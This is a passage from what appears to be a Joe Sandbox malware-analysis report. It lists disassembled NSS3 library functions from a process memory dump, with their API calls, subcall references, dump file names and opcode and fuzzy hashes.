EnterCriticalSection.KERNEL32(?,?,6C63ECEC,6C642FCD,00000000,?,6C642FCD,?), ref: 6C639D01
TlsGetValue.KERNEL32(?,?,?,6C63ECEC,6C642FCD,00000000,?,6C642FCD,?), ref: 6C639D38
EnterCriticalSection.KERNEL32(?,?,6C63ECEC,6C642FCD,00000000,?,6C642FCD,?), ref: 6C639D4D
PR_Unlock.NSS3 ref: 6C639D70
PR_Unlock.NSS3 ref: 6C639DC3
PR_NewLock.NSS3 ref: 6C639DDD

Part of subcall function 6C6388D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C640725,00000000,00000058), ref: 6C638906
Part of subcall function 6C6388D0: EnterCriticalSection.KERNEL32(?), ref: 6C63891A
Part of subcall function 6C6388D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C63894A
Part of subcall function 6C6388D0: calloc.MOZGLUE(00000001,6C64072D,00000000,00000000,00000000,?,6C640725,00000000,00000058), ref: 6C638959
Part of subcall function 6C6388D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C638993
Part of subcall function 6C6388D0: PR_Unlock.NSS3(?), ref: 6C6389AF

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: b95613fdc48bafb38a02e802d8e5998f48e4f14a2b0eaa0d15401923a595d111
Instruction ID: c65fe7741c4a3e4ae5325551fd6c284cf63cf2c80ef5206e5ddb96c0a24a5be9
Opcode Fuzzy Hash: b95613fdc48bafb38a02e802d8e5998f48e4f14a2b0eaa0d15401923a595d111
Instruction Fuzzy Hash: 015193B0A05B158FDB01EF68C08569ABBF0BF45349F15A569D89CDB710DB30E844CF99

Function 6C6688E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6688FC

Part of subcall function 6C67BE30: SECOID_FindOID_Util.NSS3(6C63311B,00000000,?,6C63311B,?), ref: 6C67BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C668913

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6C74D864,?), ref: 6C668947

Part of subcall function 6C67E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C67E245
Part of subcall function 6C67E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C67E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C66895B
DER_GetInteger_Util.NSS3(?), ref: 6C668973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C668982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C6689EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C668A12

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: d1fb2e3d87834686cebb09ace49cb2ac9911401ea9b1196034aa637e2fa6f07c
Instruction ID: a7f8ee8ce75e6ab9c91b9563694ac9f1c00e77c1e8aa1afc17b855b8aa3b4442
Opcode Fuzzy Hash: d1fb2e3d87834686cebb09ace49cb2ac9911401ea9b1196034aa637e2fa6f07c
Instruction Fuzzy Hash: 3E313AA1A0464056F720423FAC417EA32959F9B31CF240B37D916D7FA1FB21D446839F

Function 6C62DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C62DCFA

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C62DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C62DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C62DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C62DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C62DD8F

Part of subcall function 6C6406A0: TlsGetValue.KERNEL32 ref: 6C6406C2
Part of subcall function 6C6406A0: EnterCriticalSection.KERNEL32(?), ref: 6C6406D6
Part of subcall function 6C6406A0: PR_Unlock.NSS3 ref: 6C6406EB

CERT_DestroyCertificate.NSS3(?), ref: 6C62DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C62DDB7

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 59a93d409369cb4b3b1e19fb1f968f93cbd3c8b5936da8313e44263838079b31
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 4D2180B6E019255BDB019E94DC40ADE77B4EF05318B144824E814A7705E729E915CFE9

Function 6C644A10 Relevance: 12.1, APIs: 8, Instructions: 80COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C645385,?,?,00000000), ref: 6C644A29
EnterCriticalSection.KERNEL32 ref: 6C644A42
TlsGetValue.KERNEL32 ref: 6C644A5F
EnterCriticalSection.KERNEL32 ref: 6C644A78
PL_HashTableLookup.NSS3 ref: 6C644A91
PR_Unlock.NSS3 ref: 6C644A9E
PR_Now.NSS3 ref: 6C644AAD
PR_Unlock.NSS3 ref: 6C644AD2

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 3d8110eb214cc2e5149c861c9f56d0381f6e8c0c32b87a9e6321d7212cd84071
Instruction ID: 602d61bfa14a4f87ace2092f3c41ab010650ea03ac29dd82e3220912b3734946
Opcode Fuzzy Hash: 3d8110eb214cc2e5149c861c9f56d0381f6e8c0c32b87a9e6321d7212cd84071
Instruction Fuzzy Hash: 9F314FB5A04A149FCB10EF38C08546ABBF4FF09355B05C969EC9997714EB30E894CBD9

Function 6C730860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C737AE2,?,?,?,?,?,?,6C73798A), ref: 6C73086C

Part of subcall function 6C730930: EnterCriticalSection.KERNEL32(?,00000000,?,6C730C83), ref: 6C73094F
Part of subcall function 6C730930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C730C83), ref: 6C730974
Part of subcall function 6C730930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730983
Part of subcall function 6C730930: _PR_MD_UNLOCK.NSS3(?,?,6C730C83), ref: 6C73099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C737AE2,?,?,?,?,?,?,6C73798A), ref: 6C73087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C737AE2,?,?,?,?,?,?,6C73798A), ref: 6C730892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C73798A), ref: 6C7308AA
free.MOZGLUE(?,00000000,00000000,?,?,6C737AE2,?,?,?,?,?,?,6C73798A), ref: 6C7308C7
free.MOZGLUE(?,00000000,00000000,?,?,6C737AE2,?,?,?,?,?,?,6C73798A), ref: 6C7308E9
free.MOZGLUE(?,6C737AE2,?,?,?,?,?,?,6C73798A), ref: 6C7308EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C737AE2,?,?,?,?,?,?,6C73798A), ref: 6C73090E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: a8dbb4fd878afec495ca5dec98fb8a3e974f60d9da42bf8caa9ca69e9254a0a5
Instruction ID: b56fd22a1871d60eb8537d1f8d05b6bf212187f97aa0843d3dcb1fcc0910fa7d
Opcode Fuzzy Hash: a8dbb4fd878afec495ca5dec98fb8a3e974f60d9da42bf8caa9ca69e9254a0a5
Instruction Fuzzy Hash: 0311B6B1B032604BFF009B59DA4578A3778AF47259F290134E96947741DF71E804CBD6

Function 6C629C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6411C0: PR_NewLock.NSS3 ref: 6C641216

free.MOZGLUE(?), ref: 6C629E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C629E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C629E4E
TlsGetValue.KERNEL32 ref: 6C629EA2

Part of subcall function 6C639500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C639546

EnterCriticalSection.KERNEL32(?), ref: 6C629EB6
PR_Unlock.NSS3 ref: 6C629ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C629F18

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 2e80bf803100155fd9f44f7971c51255122d753d170a31008529cbb2f5154c57
Instruction ID: 4b4a9a8f23674efd48a6279be3bfdd2c2763597be8a46c43eb7363a7b8eb203a
Opcode Fuzzy Hash: 2e80bf803100155fd9f44f7971c51255122d753d170a31008529cbb2f5154c57
Instruction Fuzzy Hash: A3810871A00601ABE7109F34DC40AEB77E5BF8634CF145528EC8987B51FB35E855CBA9

Function 6C5A4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5A51BB

Strings

misuse, xrefs: 6C5A51AF
unable to delete/modify user-function due to active statements, xrefs: 6C5A51DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5A51A5
%s at line %d of [%.10s], xrefs: 6C5A51B4

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 48cbce6bbd27cb405e648afa8296064d0506712b8843cf3c23843231a6d97fbd
Instruction ID: 1247f700d9dd7bcdd6f14d8333a180e53649c3a0e4f1582ee91c40948184a241
Opcode Fuzzy Hash: 48cbce6bbd27cb405e648afa8296064d0506712b8843cf3c23843231a6d97fbd
Instruction Fuzzy Hash: 31719CB1604609DBEB00CEA7DD80FAE77B5BB48308F544524FE199BB81D731E952CBA1

Function 6C6929E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6C6921DD,00000000), ref: 6C692A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6C6921DD,00000002,00000000,00000000,?,?,6C6921DD,00000000), ref: 6C692A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6C6921DD,00000000), ref: 6C692A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C692AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6C692B0D
PK11_FreeSymKey.NSS3(?), ref: 6C692B7B
PK11_FreeSymKey.NSS3(?), ref: 6C692BD6

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: b478334b45d5db3c1668599a15214f65eae5e4094c053d8559143ce08257b337
Instruction ID: 00195b3b18d44aa16a3af3793ac0bf90540d656b83831fc430b85faee7fbba93
Opcode Fuzzy Hash: b478334b45d5db3c1668599a15214f65eae5e4094c053d8559143ce08257b337
Instruction Fuzzy Hash: 8A51F6B2E002079BEB108E65DC84FAE73B5AF4632CF150134ED19AB792E731E905C799

Function 6C64BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C64BD1E

Part of subcall function 6C622F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C622F0A
Part of subcall function 6C622F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C622F1D

Part of subcall function 6C6657D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C62B41E,00000000,00000000,?,00000000,?,6C62B41E,00000000,00000000,00000001,?), ref: 6C6657E0
Part of subcall function 6C6657D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C665843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C64BD8C

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C64BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C64BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64BE3A

Part of subcall function 6C623E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C623EC2
Part of subcall function 6C623E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C623ED6
Part of subcall function 6C623E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C623EEE
Part of subcall function 6C623E60: PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C623F02
Part of subcall function 6C623E60: PL_FreeArenaPool.NSS3 ref: 6C623F14
Part of subcall function 6C623E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C623F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64BE52

Part of subcall function 6C622E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C622CDA,?,00000000), ref: 6C622E1E
Part of subcall function 6C622E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C622E33
Part of subcall function 6C622E00: TlsGetValue.KERNEL32 ref: 6C622E4E
Part of subcall function 6C622E00: EnterCriticalSection.KERNEL32(?), ref: 6C622E5E
Part of subcall function 6C622E00: PL_HashTableLookup.NSS3(?), ref: 6C622E71
Part of subcall function 6C622E00: PL_HashTableRemove.NSS3(?), ref: 6C622E84
Part of subcall function 6C622E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C622E96
Part of subcall function 6C622E00: PR_Unlock.NSS3 ref: 6C622EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C64BE61

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: fdeda2f5e3fe12f4592c6016aed9e413b5619de390dc72ba8a874821ad5d3591
Instruction ID: 73a95325c04b1558ade71b9b4fb283d0ed2006d9e6d80a23b34f78376ebfc29d
Opcode Fuzzy Hash: fdeda2f5e3fe12f4592c6016aed9e413b5619de390dc72ba8a874821ad5d3591
Instruction Fuzzy Hash: 3541D575A00610AFC710CF28DC80E5A77E4EF86718F10C568F95997711E731ED15CBAA

Function 6C636980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6C635DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C635DEC
Part of subcall function 6C635DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C635E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6369BA

Part of subcall function 6C67FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C629003,?), ref: 6C67FD91
Part of subcall function 6C67FD80: PORT_Alloc_Util.NSS3(A4686C68,?), ref: 6C67FDA2
Part of subcall function 6C67FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C68,?,?), ref: 6C67FDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C636A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C636AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C636ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C636AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C636AE9

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: 054540dfae007485b39eb66b430434ea951c3471527a6e31f985f6748009bb1c
Instruction ID: be65141b724f63f56d0afdc8436dcf7501f7f6d9ad1c47e4a05fd0835df5e347
Opcode Fuzzy Hash: 054540dfae007485b39eb66b430434ea951c3471527a6e31f985f6748009bb1c
Instruction Fuzzy Hash: BD41B0B1A406149BEB10DF28EC49B9B77E9BF45354F18A438E95EC7240EF31E90187E9

Function 6C66AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C66AB3E,?,?,?), ref: 6C66AC35

Part of subcall function 6C64CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C64CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C66AB3E,?,?,?), ref: 6C66AC55

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C66AB3E,?,?), ref: 6C66AC70

Part of subcall function 6C64E300: TlsGetValue.KERNEL32 ref: 6C64E33C
Part of subcall function 6C64E300: EnterCriticalSection.KERNEL32(?), ref: 6C64E350
Part of subcall function 6C64E300: PR_Unlock.NSS3(?), ref: 6C64E5BC
Part of subcall function 6C64E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C64E5CA
Part of subcall function 6C64E300: TlsGetValue.KERNEL32 ref: 6C64E5F2
Part of subcall function 6C64E300: EnterCriticalSection.KERNEL32(?), ref: 6C64E606
Part of subcall function 6C64E300: PORT_Alloc_Util.NSS3(?), ref: 6C64E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C66AC92
